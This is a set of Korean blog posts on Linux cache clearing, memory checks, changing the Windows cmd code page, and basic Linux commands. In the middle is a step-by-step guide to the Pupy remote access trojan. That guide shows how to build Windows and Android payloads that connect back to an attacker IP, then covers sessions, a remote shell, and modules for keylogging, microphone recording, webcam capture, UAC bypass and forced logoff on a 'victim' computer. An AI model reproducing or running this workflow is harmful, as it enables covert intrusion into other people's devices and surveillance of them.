* Linux 에서 Cache Memory 삭제 및 메모리 사용 확인 방법 *

 

 

두 가지를 알아보겠습니다.

 

----------------------------------------------------

1. Linux 에서 Cache Memory 삭제하는 방법

2. Linux 에서 메모리 사용 확인 방법

----------------------------------------------------

OS : Kali Linux

VM : Virtual Box

 

1번은 쉽습니다.

 

명령어 한줄이면 끝나거든요.

 

root@kali:~# sync && echo 3 > /proc/sys/vm/drop_caches

 

 

echo 뒤에 나오는 숫자는 특별한 의미가 있습니다.

 

1 : 페이지 캐시 클리어

2 : 트리 / 아이노드 클리어

3 : 1번과 2번 둘 다 클리어

 

1번이냐 2번이냐 구분이 필요하시다면 골라서 쓰시면 되고,

 

딱히 구분이 필요없으신 분들은 3번으로 하시면 됩니다.

---------------------------------------------------------------------------

 

그럼 메모리 사용 확인 방법을 알아봅시다.

 

메모리 사용 확인 방법에는 저는 2가지 방법을 섞어서 쓰고 있습니다.

 

1. sar [-op]

2. free [-op]

 

두 가지 전부 좋지만,

 

sar -r 1 은 실시간으로 출력하는 것이고,

free 는 명령어 실행 시점을 출력해줍니다.

---------------------------------------------------------------------------

 

 

여기서 -r 뒤에 1은 1초 간격으로 갱신함을 의미합니다.

 

sar -r 2 는 2초 간격으로 갱신함을 뜻하겠죠?

 

추가적인 세부 옵션은

 

>>> man sar

 

명령어로 알아보세요!

---------------------------------------------------------------------------

 

free 명령어는 sar 명령어보다 조금 더 보기 좋습니다.

 

 

-h 옵션은 '보기 좋게' 의 뜻입니다. 그냥 free -h 쓰시면 돼요...

 

-k 옵션은 KB 단위이고, -m 옵션은 -MB 단위입니다. (왜 -g 는 아무것도 안나온거지?)

 

---------------------------------------------------------------------------

 

메모리 관리는 개발자들이 주로 사용하는 Linux 에서 중요하게 여겨집니다.

 

>>sar -r 1

>>free

Posted by NDC :

* cmd 창에서 언어설정 변경하기 *

 

cmd 창에서도 즉석으로 언어변경이 가능합니다.

 

한글이 깨지는 경우(Unicode 에서 한글지원이 안되는 환경에서...) 언어변경을 통해 영어로 작업할 수 있죠.

 

그 방법은

 

>>> chcp 437

 

만 입력해주시면 됩니다.

-------------------------------------------------------------------------------------------------------------------

 

 

cmd 를 처음 실행했을 때의 화면입니다.

 

여기서 한글을 사용하고 있다는 것을 systeminfo 명령어로 알아봅시다.

 

 

 

제 컴퓨터의 정보가 "한글"로 출력됩니다.

 

여기는 한국이니까 한글 사용이 당연합니다 그러나 만약 외국에 들고 나가게되면

 

영어를 사용할 상황이 오겠죠.

 

그래서 영어로 한번 바꿔봅시다.

 

명령어는

 

>>> chcp 437

 

입니다.

 

 

한번 입력해 볼까요?

 

 

Active code page: 437

 

이라는 문구가 출력됬습니다.

 

과연 cmd 창의 언어가 영어로 바뀌었을까요?

 

똑같이 systeminfo 를 쳐봅시다.

 

 

전부 영어로 뜨는군요.

 

 

다시 한글로 돌아가기 위해서는

 

>>> chcp 949

 

를 입력하시면 됩니다.

 

-------------------------------------------------------------------------------------------------------------------

 

제가 chcp 437 을 쓰는 경우가

 

제 Virtual Box 의 Kali Linux 가 한글지원을 안합니다. (설치를 안했습니다.)

 

그래서 타 컴퓨터의 cmd 에 접속하니 한글이 깨져서 출력됩니다.

 

이처럼 cmd 언어설정은 간혹 가다가 필요한 경우가 있습니다.

 

알아두시면 좋겠죠?

 

>>> chcp 437

Posted by NDC :

* PUPY 설치 및 간략한 사용 가이드 *

 

[네트워크 연결 필요함]

OS : Kali Linux

VM : Virtual Box


RAT( Remote Access Trojan or Remote Administration Tool) 도구 pupy 설치 및 사용방법


> git clone https://github.com/n1nj4sec/pupy.git

> git submodule init

> git submodule update

 

cd ~/pupy/pupy 안에 파이썬 모듈이 들어있는 파일(requirements.txt) 가 있음

이 파일을

> pip install -r requirements.txt

로 한번에 설치해주기


* 사용 명령어(.exe 파일 만들기)

cd ~/pupy/pupy 안에 pupygen.py 있음

 

./pupygen.py -O (피해자컴퓨터 OS) -A (피해자컴퓨터 아키텍쳐) -o (실행파일 이름.확장자) connect --host (공격자컴퓨터 IP) --transport ssl

 

예시) ./pupygen.py -O windows -A x64 -o ips.exe connect --host 192.168.0.17 --transport ssl
예시 - 안드로이드) ./pupygen.py -O android -o nd.apk connect --host 192.168.0.17 --transport ssl
------------------------------------------------------------------------------------------------------------------------------------

>>> sessions -l

으로 연결된 기기 확인. 그러면 연결된 기기가 쭉 나열됨.

거기서 연결하고 싶은 기기의 id 확인.

>>> sessions -i (연결기기 id)

결과) [+] default filter set to (id) -> (연결되었다는 의미)
------------------------------------------------------------------------------------------------------------------------------------
>>> info
입력시 세션(연결된 기기)의 자세한 정보가 출력.
------------------------------------------------------------------------------------------------------------------------------------
>>> shell
입력시 해당 windows의 cmd 창처럼 사용가능함.(ipconfig, taskmgr 등 cmd에서처럼 사용가능.)

칼리 리눅스는 한글(949)을 지원 안하기 때문에, cmd 창의 언어를 바꿔줄 필요가 있다.
-> chcp 437(영어:437,한글:949)

 

cmd 종료 : exit 입력

 

*유용한 cmd 명령어*
1. systeminfo : 호스트,OS버전,OS설치날짜,CPU정보,메모리,물리적메모리와가상메모리,핫픽스정보,랜카드정보,IP정보 출력
2. msconfig(시스템구성) : 일반,부팅,서비스,시작프로그램,도구 등 OS부팅에 관한 중요한사항을 조정할 수 있는 시스템구성
3. regedit(레지스트리 편집기) : 레지스트리를 편집할 수 있는 프로그램
4. dxdiag : direct x 진단도구, 그래픽과 사운드의 세부정보를 보여주는 것
5. ipconfig : 랜카드정보와 IP정보를 보여주는 명령어
6. taskmgr : Windows 작업관리자, 응용프로그램,프로세스,서비스,성능,네트워킹,사용자의 정보를 보여줌
7. gpedit.msc(로컬그룹정책편집기) : 여기서 "로컬 컴퓨터 정책" - "관리 템플릿" 을 클릭해서 바탕화면,작업표시줄 및 시작메뉴,제어판,시스템 등 사용자가 직접 기능을 제어할 수 있음.
8. compmgmt.msc(컴퓨터관리:computer management) : 작업스케쥴러,이벤트뷰어,장치관리자,디스크관리,서비스항목 등 여러가지 시스템을 컨트롤하는 명령어
9. diskmgmt(디스크관리:disk management) : 시스템의 HDD 정보와 파티션정보를 보여주고 조정하는 시스템유틸
10. devmgmt.msc(장치관리자:device management) : 컴퓨터의 장치드라이버를 보여주는 명령어
11. lusrmgr.msc(로컬사용자그룹:local user manager) : 내 컴퓨터에 로그인 사용자나 네트워크 그룹을 알 수 있는 유틸리티
12. servics.msc(서비스) : 윈도우서비스항목을 컨트롤하는 유틸, 운영체제 로딩을 빠르게하기 위해 불필요한 서비스항목을 disable 하는데 많이 사용함.
------------------------------------------------------------------------------------------------------------------------------------


!주의
./pupysh.py 로 실행하는 pupy shell 을 >> exit 로 종료하는 것이 아닌 Ctrl + Z 로 강제종료할 시 터미널을 껐다가 켜야 정상 재작동됨.

------------------------------------------------------------------------------------------------------------------------------------

[간략한 모듈 설명] (자세한건 -h 옵션 사용하세요!) 

 >> run admin/dns

 대상의 IP Address 필요

 IP, Host name 나열

 >> run admin/getpid

 X

 pupy 로 만든 exe 파일 processor PID 와 Name 나열

 >> run network/port_scan

 대상의 IP Address 필요

 해당 IP에 열려있는 포트 알려줌, -p (PORTS) 로

특정 포트의 open/close 여부 확인가능

 >> run privesc/bypassuac

 X

 ?? 이건 무슨기능일까

 >> run gather/keylogger

 {start | stop | dump}

 start 입력: 키보드 입력저장, dump 입력: terminal에

출력, stop 입력: 키보드 입력저장 중지(한글인식 X)

 >> run gather/record_mic

 X

 -t (시간) 으로 녹음시간 저장가능,

 -v 옵션은 녹음파일 바로실행.

 >> run gather/webcamsnap

 X

 노트북에 달린 웹캠으로 사진 바로찍음

 >> run manage/lock_screen

 X

 강제로 로그오프 시킴.

 

Posted by NDC :

* Linux 알아두면 좋은 기본 명령어 *

 

 

 ./(filename)

 현재 디렉토리에 있는 file 실행 

 apt-get install  

 (칼리,우분투,데비안 리눅스) 패키지 설치

 cat (file)

 파일의 내용 출력

 cat /etc/passwd

 시스템 사용자 리스트 출력

 cd (path)

 디렉토리 이동

 cd ~

 현재 사용자의 홈디렉토리로 이동

 cd ..    

 상위 디렉토리로 이동

 chmod    

 파일 권한 변경

 chmod +x file

 파일을 실행가능하도록 권한 부여

 cp (path1) (path2)

 path1 의 파일을 path 2 로 복사

 find

 파일 검색

 gedit

 gedit 에디터 사용 (GUI환경에서)

 grep (string)

 문자열 검색

 id

 현재 사용자 이름 확인

 ifconfig

 네트워크 인터페이스 및 IP 주소 확인

 ip (addr)

 IP 주소 확인

 ls

 디렉토리 내의 파일 리스트 보기

 ls -asl

 디렉토리 내의 파일 리스트를 상세하게 보기

 man (command)

 명령어의 메뉴얼 생성

 mkdir (dir)

 디렉토리 생성

 mv (path1) (path2)

 파일 및 디렉토리 생성

 nano

 nano 파일 에디터 실행

 nc

 netcat 프로그램

 pwd

 현재 작업중인 디렉토리 확인

 rm (path1)

 파일 및 디렉토리 삭제

 rmdir (dir)

 디렉토리 삭제

 service

 서비스 상태 확인, 실행 및 종료

 tail (file)

 file 의 마지막 내용을 출력

 tail -f (file)

 file 에 갱신되는 새로운 내용을 출력

 tar zxvf (file).tar.gz

 .tar.gz 파일 압축 해제

 touch (file)

 내용이 없는 빈 파일 생성

 uname -a

 커널 버전 확인

 unzip (file).zip

 .zip 파일 압축 해제

 wget (URL)

 인터넷 URL에 있는 파일을 다운로드

 which (command)

 명령어의 전체 경로 확인

 

Posted by NDC :